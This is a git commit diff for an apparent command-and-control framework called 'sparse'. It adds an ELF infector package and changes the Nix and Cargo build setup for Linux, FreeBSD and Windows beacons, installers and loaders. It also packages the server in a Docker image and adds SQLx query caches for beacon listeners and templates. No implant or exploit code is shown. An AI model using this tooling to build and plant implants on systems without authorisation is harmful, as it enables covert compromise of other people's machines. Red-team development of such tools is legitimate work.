feat: fixed server comp, added ELF inject
I gave up and just put it in a Docker image, it's not as important as the beacons being statically compiled
This commit is contained in:
parent
00331ec550
commit
90c8b97141
18
Cargo.lock
generated
18
Cargo.lock
generated
@ -3202,13 +3202,6 @@ dependencies = [
|
|||||||
"tracing",
|
"tracing",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "sparse-infector"
|
|
||||||
version = "2.0.0"
|
|
||||||
dependencies = [
|
|
||||||
"sparse-actions",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-server"
|
name = "sparse-server"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
@ -3261,13 +3254,22 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sparse-unix-infector"
|
||||||
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"sparse-actions",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-unix-installer"
|
name = "sparse-unix-installer"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"rand 0.9.0",
|
"rand 0.9.0",
|
||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
"sparse-infector",
|
"sparse-unix-infector",
|
||||||
"structopt",
|
"structopt",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
49
flake.lock
generated
49
flake.lock
generated
@ -3,11 +3,11 @@
|
|||||||
"advisory-db": {
|
"advisory-db": {
|
||||||
"flake": false,
|
"flake": false,
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1737246984,
|
"lastModified": 1738539423,
|
||||||
"narHash": "sha256-cjWzMwqej9zVoFGV5NkefOspMDJJ+gN3+zkFZcBBAkc=",
|
"narHash": "sha256-qb4FLJFuIHdzI1oeVor69678RugKy8YwsLRQd38fJnc=",
|
||||||
"owner": "rustsec",
|
"owner": "rustsec",
|
||||||
"repo": "advisory-db",
|
"repo": "advisory-db",
|
||||||
"rev": "cfd49ce116f12c856a3f3c065d041fd0dd7169dc",
|
"rev": "08617accdc251d22bc8fd4e3bd62cf53eeddf611",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
@ -18,11 +18,11 @@
|
|||||||
},
|
},
|
||||||
"crane": {
|
"crane": {
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1737250794,
|
"lastModified": 1738652123,
|
||||||
"narHash": "sha256-bdIPhvsAKyYQzqAIeay4kOxTHGwLGkhM+IlBIsmMYFI=",
|
"narHash": "sha256-zdZek5FXK/k95J0vnLF0AMnYuZl4AjARq83blKuJBYY=",
|
||||||
"owner": "ipetkov",
|
"owner": "ipetkov",
|
||||||
"repo": "crane",
|
"repo": "crane",
|
||||||
"rev": "c5b7075f4a6d523fe8204618aa9754e56478c0e0",
|
"rev": "c7e015a5fcefb070778c7d91734768680188a9cd",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
@ -61,6 +61,22 @@
|
|||||||
"url": "https://download.freebsd.org/releases/amd64/14.1-RELEASE/base.txz"
|
"url": "https://download.freebsd.org/releases/amd64/14.1-RELEASE/base.txz"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"libcap-src": {
|
||||||
|
"flake": false,
|
||||||
|
"locked": {
|
||||||
|
"lastModified": 1738428567,
|
||||||
|
"narHash": "sha256-RZk104gsPj4NIGKF7A8C5cqnxPFW9oSijxCDm4xVES4=",
|
||||||
|
"ref": "refs/heads/master",
|
||||||
|
"rev": "025f28ca4fe085fbcbf7933d53a42d335744e553",
|
||||||
|
"revCount": 721,
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://git.kernel.org/pub/scm/libs/libcap/libcap.git"
|
||||||
|
},
|
||||||
|
"original": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://git.kernel.org/pub/scm/libs/libcap/libcap.git"
|
||||||
|
}
|
||||||
|
},
|
||||||
"libnl-src": {
|
"libnl-src": {
|
||||||
"flake": false,
|
"flake": false,
|
||||||
"locked": {
|
"locked": {
|
||||||
@ -80,11 +96,11 @@
|
|||||||
"libpcap-src": {
|
"libpcap-src": {
|
||||||
"flake": false,
|
"flake": false,
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1737403834,
|
"lastModified": 1738360733,
|
||||||
"narHash": "sha256-Lrt/PPdmvnGDtgUuLnSrJm9bqZ0oOq/qjn+H/A7F+vQ=",
|
"narHash": "sha256-bgJglWP2p6OdO9aN29WhAiNtqJSWLdN6Nj2hEwuPtko=",
|
||||||
"ref": "refs/heads/master",
|
"ref": "refs/heads/master",
|
||||||
"rev": "4f45904ae414e6ea8c1794576a76fde60218d3b4",
|
"rev": "62390e8c5fceacf86f0fb9d95f71f701c03a3d4e",
|
||||||
"revCount": 6406,
|
"revCount": 6438,
|
||||||
"type": "git",
|
"type": "git",
|
||||||
"url": "https://github.com/the-tcpdump-group/libpcap"
|
"url": "https://github.com/the-tcpdump-group/libpcap"
|
||||||
},
|
},
|
||||||
@ -95,11 +111,11 @@
|
|||||||
},
|
},
|
||||||
"nixpkgs": {
|
"nixpkgs": {
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1737469691,
|
"lastModified": 1738546358,
|
||||||
"narHash": "sha256-nmKOgAU48S41dTPIXAq0AHZSehWUn6ZPrUKijHAMmIk=",
|
"narHash": "sha256-nLivjIygCiqLp5QcL7l56Tca/elVqM9FG1hGd9ZSsrg=",
|
||||||
"owner": "nixos",
|
"owner": "nixos",
|
||||||
"repo": "nixpkgs",
|
"repo": "nixpkgs",
|
||||||
"rev": "9e4d5190a9482a1fb9d18adf0bdb83c6e506eaab",
|
"rev": "c6e957d81b96751a3d5967a0fd73694f303cc914",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
@ -115,6 +131,7 @@
|
|||||||
"crane": "crane",
|
"crane": "crane",
|
||||||
"flake-utils": "flake-utils",
|
"flake-utils": "flake-utils",
|
||||||
"freebsd-libs-packed": "freebsd-libs-packed",
|
"freebsd-libs-packed": "freebsd-libs-packed",
|
||||||
|
"libcap-src": "libcap-src",
|
||||||
"libnl-src": "libnl-src",
|
"libnl-src": "libnl-src",
|
||||||
"libpcap-src": "libpcap-src",
|
"libpcap-src": "libpcap-src",
|
||||||
"nixpkgs": "nixpkgs",
|
"nixpkgs": "nixpkgs",
|
||||||
@ -130,11 +147,11 @@
|
|||||||
]
|
]
|
||||||
},
|
},
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1737340068,
|
"lastModified": 1738635966,
|
||||||
"narHash": "sha256-5UciRckNV+YOZ6y6ASBIb01cySB12whDxgFUK+EqT8g=",
|
"narHash": "sha256-5MbJhh6nz7tx8FYVOJ0+ixMaEn0ibGzV/hScPMmqVTE=",
|
||||||
"owner": "oxalica",
|
"owner": "oxalica",
|
||||||
"repo": "rust-overlay",
|
"repo": "rust-overlay",
|
||||||
"rev": "275c824ed9e90e7fd4f96d187bde3670062e721f",
|
"rev": "1ff8663cd75a11e61f8046c62f4dbb05d1907b44",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
|
|||||||
27
flake.nix
27
flake.nix
@ -15,6 +15,10 @@
|
|||||||
flake = false;
|
flake = false;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
libcap-src = {
|
||||||
|
url = "git+https://git.kernel.org/pub/scm/libs/libcap/libcap.git";
|
||||||
|
flake = false;
|
||||||
|
};
|
||||||
libpcap-src = {
|
libpcap-src = {
|
||||||
url = "git+https://github.com/the-tcpdump-group/libpcap";
|
url = "git+https://github.com/the-tcpdump-group/libpcap";
|
||||||
flake = false;
|
flake = false;
|
||||||
@ -38,7 +42,7 @@
|
|||||||
};
|
};
|
||||||
|
|
||||||
outputs = { self, nixpkgs, flake-utils, crane, rust-overlay, advisory-db
|
outputs = { self, nixpkgs, flake-utils, crane, rust-overlay, advisory-db
|
||||||
, libpcap-src, libnl-src, winpcap-libs, winpcap-installer
|
, libcap-src, libpcap-src, libnl-src, winpcap-libs, winpcap-installer
|
||||||
, freebsd-libs-packed }:
|
, freebsd-libs-packed }:
|
||||||
flake-utils.lib.eachSystem [ "x86_64-linux" ] (system:
|
flake-utils.lib.eachSystem [ "x86_64-linux" ] (system:
|
||||||
let
|
let
|
||||||
@ -48,12 +52,12 @@
|
|||||||
};
|
};
|
||||||
|
|
||||||
system-libs = import ./system-libs.nix {
|
system-libs = import ./system-libs.nix {
|
||||||
inherit pkgs libnl-src libpcap-src winpcap-installer
|
inherit pkgs libnl-src libcap-src libpcap-src winpcap-installer
|
||||||
freebsd-libs-packed;
|
freebsd-libs-packed;
|
||||||
};
|
};
|
||||||
inherit (system-libs)
|
inherit (system-libs)
|
||||||
freebsd-toolchain winpcap-drivers freebsd-libs libnl libpcap-linux-gnu
|
freebsd-toolchain winpcap-drivers freebsd-libs libnl libcap
|
||||||
libpcap-linux-musl libpcap-freebsd;
|
libpcap-linux-gnu libpcap-linux-musl libpcap-freebsd;
|
||||||
|
|
||||||
buildTools = with pkgs; rec {
|
buildTools = with pkgs; rec {
|
||||||
base = [
|
base = [
|
||||||
@ -71,7 +75,7 @@
|
|||||||
binaryen
|
binaryen
|
||||||
sqlx-cli
|
sqlx-cli
|
||||||
];
|
];
|
||||||
linux = buildTools.base ++ [ glibc musl ];
|
linux = buildTools.base ++ [ glibc ];
|
||||||
freebsd = buildTools.base
|
freebsd = buildTools.base
|
||||||
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
|
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
|
||||||
windows = buildTools.base ++ [
|
windows = buildTools.base ++ [
|
||||||
@ -120,6 +124,7 @@
|
|||||||
SPARSE_BUILD_LIBPCAP_LINUX_MUSL = libpcap-linux-musl;
|
SPARSE_BUILD_LIBPCAP_LINUX_MUSL = libpcap-linux-musl;
|
||||||
SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
|
SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
|
||||||
SPARSE_BUILD_LIBNL = libnl;
|
SPARSE_BUILD_LIBNL = libnl;
|
||||||
|
SPARSE_BUILD_LIBCAP = libcap;
|
||||||
|
|
||||||
LIBCLANG_PATH = "${pkgs.libclang.lib}/lib";
|
LIBCLANG_PATH = "${pkgs.libclang.lib}/lib";
|
||||||
|
|
||||||
@ -179,8 +184,16 @@
|
|||||||
'';
|
'';
|
||||||
});
|
});
|
||||||
|
|
||||||
|
linux = craneLib.devShell (buildEnvironment // {
|
||||||
|
name = "sparse-linux";
|
||||||
|
|
||||||
|
packages = buildTools.linux ++ devShellTools
|
||||||
|
++ [ setup-zig-freebsd setup-dev-environment ]
|
||||||
|
++ (with pkgs; [ musl ]);
|
||||||
|
});
|
||||||
|
|
||||||
windows = craneLib.devShell (buildEnvironment // {
|
windows = craneLib.devShell (buildEnvironment // {
|
||||||
name = "sparse-default";
|
name = "sparse-windows";
|
||||||
|
|
||||||
packages = buildTools.windows ++ devShellTools
|
packages = buildTools.windows ++ devShellTools
|
||||||
++ [ setup-zig-freebsd setup-dev-environment ];
|
++ [ setup-zig-freebsd setup-dev-environment ];
|
||||||
@ -190,7 +203,7 @@
|
|||||||
});
|
});
|
||||||
|
|
||||||
freebsd = craneLib.devShell (buildEnvironment // {
|
freebsd = craneLib.devShell (buildEnvironment // {
|
||||||
name = "sparse-default";
|
name = "sparse-freebsd";
|
||||||
|
|
||||||
packages = buildTools.freebsd ++ devShellTools
|
packages = buildTools.freebsd ++ devShellTools
|
||||||
++ [ setup-zig-freebsd setup-dev-environment ];
|
++ [ setup-zig-freebsd setup-dev-environment ];
|
||||||
|
|||||||
73
packages.nix
73
packages.nix
@ -1,6 +1,6 @@
|
|||||||
{ pkgs, buildTools, buildEnvironment, craneLib, advisory-db, winpcap-libs
|
{ pkgs, buildTools, buildEnvironment, craneLib, advisory-db, winpcap-libs
|
||||||
, winpcap-drivers, freebsd-libs, libnl, libpcap-linux-musl, libpcap-linux-gnu
|
, winpcap-drivers, freebsd-libs, libnl, libcap, libpcap-linux-musl
|
||||||
, libpcap-freebsd }:
|
, libpcap-linux-gnu, libpcap-freebsd }:
|
||||||
let
|
let
|
||||||
patch-elf = header: drv: path:
|
patch-elf = header: drv: path:
|
||||||
let hdr = toString header;
|
let hdr = toString header;
|
||||||
@ -83,21 +83,29 @@ let
|
|||||||
./nl-sys/src/bridge.c
|
./nl-sys/src/bridge.c
|
||||||
(craneLib.fileset.commonCargoSources ./packets)
|
(craneLib.fileset.commonCargoSources ./packets)
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-handler)
|
(craneLib.fileset.commonCargoSources ./sparse-handler)
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-server)
|
|
||||||
./sparse-server/style
|
./sparse-server/style
|
||||||
./sparse-server/public
|
./sparse-server/public
|
||||||
./sparse-server/migrations
|
./sparse-server/migrations
|
||||||
|
./sparse-server/.sqlx
|
||||||
|
./sparse-handler/.sqlx
|
||||||
|
(craneLib.fileset.commonCargoSources ./sparse-server)
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
||||||
commonArgs = buildEnvironment // {
|
commonArgs = buildEnvironment // {
|
||||||
inherit src;
|
inherit src;
|
||||||
strictDeps = true;
|
#strictDeps = true;
|
||||||
|
|
||||||
nativeBuildInputs = buildTools.linux;
|
nativeBuildInputs = buildTools.linux;
|
||||||
buildInputs = buildTools.all;
|
buildInputs = buildTools.all;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
linuxArgs = commonArgs // {
|
||||||
|
nativeBuildInputs = buildTools.linux ++ (with pkgs; [ musl ]);
|
||||||
|
|
||||||
|
#RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||||
|
};
|
||||||
|
|
||||||
freebsdArgs = commonArgs // {
|
freebsdArgs = commonArgs // {
|
||||||
# Sigh...
|
# Sigh...
|
||||||
# For some reason, crane and cargo don't run the build script for FreeBSD
|
# For some reason, crane and cargo don't run the build script for FreeBSD
|
||||||
@ -117,21 +125,29 @@ let
|
|||||||
nativeBuildInputs = buildTools.linux ++ buildTools.windows;
|
nativeBuildInputs = buildTools.linux ++ buildTools.windows;
|
||||||
};
|
};
|
||||||
|
|
||||||
linuxCargoArtifacts = craneLib.buildDepsOnly (commonArgs // {
|
gnuLinuxCargoArtifacts = craneLib.buildDepsOnly (linuxArgs // {
|
||||||
|
nativeBuildInputs = buildTools.linux ++ (with pkgs; [ glibc.static ]);
|
||||||
|
name = "sparse-deps-gnu-linux";
|
||||||
|
cargoExtraArgs =
|
||||||
|
"--target=x86_64-unknown-linux-gnu --locked -p sparse-server";
|
||||||
|
});
|
||||||
|
linuxCargoArtifacts = craneLib.buildDepsOnly (linuxArgs // {
|
||||||
name = "sparse-deps-linux";
|
name = "sparse-deps-linux";
|
||||||
cargoExtraArgs = "--target=x86_64-unknown-linux-musl --locked";
|
cargoExtraArgs =
|
||||||
|
"--target=x86_64-unknown-linux-musl --locked -p sparse-unix-beacon -p sparse-unix-installer";
|
||||||
});
|
});
|
||||||
freebsdCargoArtifacts = craneLib.buildDepsOnly (freebsdArgs // {
|
freebsdCargoArtifacts = craneLib.buildDepsOnly (freebsdArgs // {
|
||||||
name = "sparse-deps-freebsd";
|
name = "sparse-deps-freebsd";
|
||||||
cargoExtraArgs =
|
cargoExtraArgs =
|
||||||
"--target=x86_64-unknown-freebsd --locked -p sparse-beacon";
|
"--target=x86_64-unknown-freebsd --locked -p sparse-unix-beacon -p sparse-unix-installer";
|
||||||
});
|
});
|
||||||
windowsCargoArtifacts = craneLib.buildDepsOnly (windowsArgs // {
|
windowsCargoArtifacts = craneLib.buildDepsOnly (windowsArgs // {
|
||||||
name = "sparse-deps-windows";
|
name = "sparse-deps-windows";
|
||||||
cargoExtraArgs = "--target=x86_64-pc-windows-gnu --locked -p sparse-beacon";
|
cargoExtraArgs =
|
||||||
|
"--target=x86_64-pc-windows-gnu --locked -p sparse-windows-beacon -p sparse-windows-installer";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-beacon-linux = craneLib.buildPackage (commonArgs // {
|
sparse-beacon-linux = craneLib.buildPackage (linuxArgs // {
|
||||||
cargoArtifacts = linuxCargoArtifacts;
|
cargoArtifacts = linuxCargoArtifacts;
|
||||||
name = "sparse-beacon-linux";
|
name = "sparse-beacon-linux";
|
||||||
cargoExtraArgs = "-p sparse-unix-beacon";
|
cargoExtraArgs = "-p sparse-unix-beacon";
|
||||||
@ -178,6 +194,7 @@ let
|
|||||||
mkdir $out
|
mkdir $out
|
||||||
export XDG_CACHE_HOME=$(mktemp -d)
|
export XDG_CACHE_HOME=$(mktemp -d)
|
||||||
zig build \
|
zig build \
|
||||||
|
--color off \
|
||||||
--summary all \
|
--summary all \
|
||||||
--prefix $out \
|
--prefix $out \
|
||||||
--release=small \
|
--release=small \
|
||||||
@ -200,6 +217,7 @@ let
|
|||||||
mkdir $out
|
mkdir $out
|
||||||
export XDG_CACHE_HOME=$(mktemp -d)
|
export XDG_CACHE_HOME=$(mktemp -d)
|
||||||
zig build \
|
zig build \
|
||||||
|
--color off \
|
||||||
--summary all \
|
--summary all \
|
||||||
--prefix $out \
|
--prefix $out \
|
||||||
--release=small \
|
--release=small \
|
||||||
@ -213,7 +231,7 @@ let
|
|||||||
'';
|
'';
|
||||||
};
|
};
|
||||||
|
|
||||||
sparse-installer-linux = craneLib.buildPackage (commonArgs // {
|
sparse-installer-linux = craneLib.buildPackage (linuxArgs // {
|
||||||
cargoArtifacts = linuxCargoArtifacts;
|
cargoArtifacts = linuxCargoArtifacts;
|
||||||
name = "sparse-installer-linux";
|
name = "sparse-installer-linux";
|
||||||
cargoExtraArgs = "-p sparse-unix-installer";
|
cargoExtraArgs = "-p sparse-unix-installer";
|
||||||
@ -226,7 +244,7 @@ let
|
|||||||
SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
|
SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
|
sparse-installer-freebsd-sysv = craneLib.buildPackage (freebsdArgs // {
|
||||||
cargoArtifacts = linuxCargoArtifacts;
|
cargoArtifacts = linuxCargoArtifacts;
|
||||||
name = "sparse-installer-freebsd";
|
name = "sparse-installer-freebsd";
|
||||||
cargoExtraArgs = "-p sparse-unix-installer";
|
cargoExtraArgs = "-p sparse-unix-installer";
|
||||||
@ -256,32 +274,29 @@ let
|
|||||||
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
|
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-server = craneLib.buildPackage (commonArgs // {
|
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
|
||||||
src = fileSetForWebCrate;
|
src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate;
|
||||||
|
|
||||||
|
cargoArtifacts = gnuLinuxCargoArtifacts;
|
||||||
|
|
||||||
nativeBuildInputs = buildTools.linux ++ (with pkgs; [ glibc.static ]);
|
nativeBuildInputs = buildTools.linux ++ (with pkgs; [ glibc.static ]);
|
||||||
cargoArtifacts = linuxCargoArtifacts;
|
|
||||||
name = "sparse-server-webclient";
|
name = "sparse-server-webclient";
|
||||||
|
pname = "sparse-server-webclient";
|
||||||
|
|
||||||
preBuild = ''
|
|
||||||
export DATABASE_URL=sqlite:./db.sqlite3
|
|
||||||
sqlx database setup --source=sparse-server/migrations
|
|
||||||
'';
|
|
||||||
buildPhaseCargoCommand = ''
|
buildPhaseCargoCommand = ''
|
||||||
cargo leptos build \
|
cargo leptos build \
|
||||||
--release \
|
--release \
|
||||||
--project=sparse-server
|
--project=sparse-server
|
||||||
'';
|
'';
|
||||||
doNotPostBuildInstallCargoBinaries = true;
|
doNotPostBuildInstallCargoBinaries = true;
|
||||||
installPhase = ''
|
doInstallCartoArtifacts = false;
|
||||||
|
installPhaseCommand = ''
|
||||||
mkdir -p $out/bin
|
mkdir -p $out/bin
|
||||||
|
|
||||||
cp target/x86_64-unknown-linux-gnu/release/sparse-server $out/bin
|
cp target/x86_64-unknown-linux-gnu/release/sparse-server $out/bin
|
||||||
'';
|
'';
|
||||||
doCheck = false;
|
doCheck = false;
|
||||||
|
|
||||||
RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
|
||||||
|
|
||||||
SPARSE_INSTALLER_LINUX =
|
SPARSE_INSTALLER_LINUX =
|
||||||
"${sparse-installer-linux}/bin/sparse-unix-installer";
|
"${sparse-installer-linux}/bin/sparse-unix-installer";
|
||||||
SPARSE_INSTALLER_FREEBSD =
|
SPARSE_INSTALLER_FREEBSD =
|
||||||
@ -290,11 +305,21 @@ let
|
|||||||
"${sparse-installer-windows}/bin/sparse-windows-installer.exe";
|
"${sparse-installer-windows}/bin/sparse-windows-installer.exe";
|
||||||
});
|
});
|
||||||
|
|
||||||
|
sparse-server-docker = pkgs.dockerTools.buildImage {
|
||||||
|
name = "sparse-server-docker";
|
||||||
|
tag = "latest";
|
||||||
|
|
||||||
|
copyToRoot = [ sparse-server ];
|
||||||
|
|
||||||
|
config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; };
|
||||||
|
};
|
||||||
|
|
||||||
outputs = rec {
|
outputs = rec {
|
||||||
packages = {
|
packages = {
|
||||||
inherit sparse-server sparse-beacon-linux sparse-beacon-freebsd
|
inherit sparse-server sparse-server-docker sparse-beacon-linux
|
||||||
sparse-beacon-windows linux-loader freebsd-loader sparse-installer-linux
|
sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader
|
||||||
sparse-installer-freebsd sparse-installer-windows;
|
sparse-installer-linux sparse-installer-freebsd
|
||||||
|
sparse-installer-windows;
|
||||||
|
|
||||||
inherit freebsd-zig-libc;
|
inherit freebsd-zig-libc;
|
||||||
|
|
||||||
|
|||||||
20
sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json
generated
Normal file
20
sparse-handler/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json
generated
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT listener_id FROM beacon_listener",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "listener_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c"
|
||||||
|
}
|
||||||
50
sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json
generated
Normal file
50
sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json
generated
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT * FROM beacon_listener WHERE listener_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "listener_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "port",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public_ip",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "domain_name",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "certificate",
|
||||||
|
"ordinal": 4,
|
||||||
|
"type_info": "Blob"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "privkey",
|
||||||
|
"ordinal": 5,
|
||||||
|
"type_info": "Blob"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69"
|
||||||
|
}
|
||||||
@ -2,11 +2,12 @@
|
|||||||
rustflags = ["-C", "link-arg=-fuse-ld=mold"]
|
rustflags = ["-C", "link-arg=-fuse-ld=mold"]
|
||||||
|
|
||||||
[target.x86_64-unknown-linux-gnu]
|
[target.x86_64-unknown-linux-gnu]
|
||||||
rustflags = ["-C", "link-arg=-fuse-ld=mold"]
|
linker = "clang"
|
||||||
|
rustflags = ["-Ctarget-feature=+crt-static", "--cfg=has_std", "-C", "link-arg=-fuse-ld=mold"]
|
||||||
|
|
||||||
[unstable]
|
[unstable]
|
||||||
build-std = ["std", "panic_abort", "core", "alloc"]
|
build-std = ["std", "panic_abort", "core", "alloc"]
|
||||||
build-std-features = ["panic_immediate_abort"]
|
build-std-features = ["panic_immediate_abort"]
|
||||||
|
|
||||||
[build]
|
#[build]
|
||||||
rustflags = ["--cfg=has_std"]
|
#rustflags = ["--cfg=has_std"]
|
||||||
|
|||||||
12
sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json
generated
Normal file
12
sparse-server/.sqlx/query-020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_config (config_name, mode, random_min_time, random_max_time) VALUES (?, 'random', ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 3
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "020d90800db7674bdacba528fb80a619d11de96b3dd65f9b4331b06cde46eaca"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json
generated
Normal file
12
sparse-server/.sqlx/query-06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO sessions (session_id, user_id, expires) VALUES (?, ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 3
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "06b46a72d7555e3f478b7125ba726c47b01d4824cdf7be6316bcfa65444ca95a"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json
generated
Normal file
12
sparse-server/.sqlx/query-09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "UPDATE users SET last_active = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "09801043d7da4a27d3388f289ef8bf040f1279bb1aee533f7ab45d375f6e0b70"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json
generated
Normal file
12
sparse-server/.sqlx/query-0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM beacon_template WHERE template_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "0b0eebba180fc3b61947b7404199d35f00ca2c1b7ac926d686698c0658fe00cc"
|
||||||
|
}
|
||||||
86
sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json
generated
Normal file
86
sparse-server/.sqlx/query-0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625.json
generated
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener",
|
